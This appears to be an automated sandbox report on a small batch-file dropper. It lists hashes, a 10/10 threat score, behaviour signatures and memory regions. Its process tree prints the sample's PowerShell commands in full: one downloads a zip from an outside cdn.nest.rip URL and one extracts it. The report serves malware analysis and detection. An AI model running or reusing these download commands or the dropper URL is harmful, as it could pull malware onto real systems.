Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2023, 23:24

General

  • Target

    tesy - Copy (3).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2628

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    4156489414038cac90e11334229ea6f8

    SHA1

    2a7bcbd270ae4ef174960148d669a94177d52fe6

    SHA256

    259fc5949bd3ec405bd4afd2052ea8710a95f6fe8934ad37bd3deafe9454f8fb

    SHA512

    909207cc28ba7598d7344200e7ac921851e884745bcb7e2b23b32980decf113aa35e14ba0d4c70694f6a9a3ed1430da8b25b859d66c32c2609eedc08aaa9920c

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5LWMGI2Y0VGE80ZYGDKK.temp

    Filesize

    7KB

    MD5

    4156489414038cac90e11334229ea6f8

    SHA1

    2a7bcbd270ae4ef174960148d669a94177d52fe6

    SHA256

    259fc5949bd3ec405bd4afd2052ea8710a95f6fe8934ad37bd3deafe9454f8fb

    SHA512

    909207cc28ba7598d7344200e7ac921851e884745bcb7e2b23b32980decf113aa35e14ba0d4c70694f6a9a3ed1430da8b25b859d66c32c2609eedc08aaa9920c

  • memory/2628-23-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/2628-20-0x000007FEF5120000-0x000007FEF5ABD000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-27-0x000007FEF5120000-0x000007FEF5ABD000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-26-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/2628-25-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/2628-24-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/2628-22-0x000007FEF5120000-0x000007FEF5ABD000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-21-0x0000000002470000-0x0000000002478000-memory.dmp

    Filesize

    32KB

  • memory/2628-19-0x000000001B190000-0x000000001B472000-memory.dmp

    Filesize

    2.9MB

  • memory/2660-11-0x0000000002950000-0x00000000029D0000-memory.dmp

    Filesize

    512KB

  • memory/2660-5-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-6-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-13-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-4-0x000000001B250000-0x000000001B532000-memory.dmp

    Filesize

    2.9MB

  • memory/2660-7-0x0000000002420000-0x0000000002428000-memory.dmp

    Filesize

    32KB

  • memory/2660-10-0x0000000002950000-0x00000000029D0000-memory.dmp

    Filesize

    512KB

  • memory/2660-9-0x0000000002950000-0x00000000029D0000-memory.dmp

    Filesize

    512KB

  • memory/2660-8-0x0000000002950000-0x00000000029D0000-memory.dmp

    Filesize

    512KB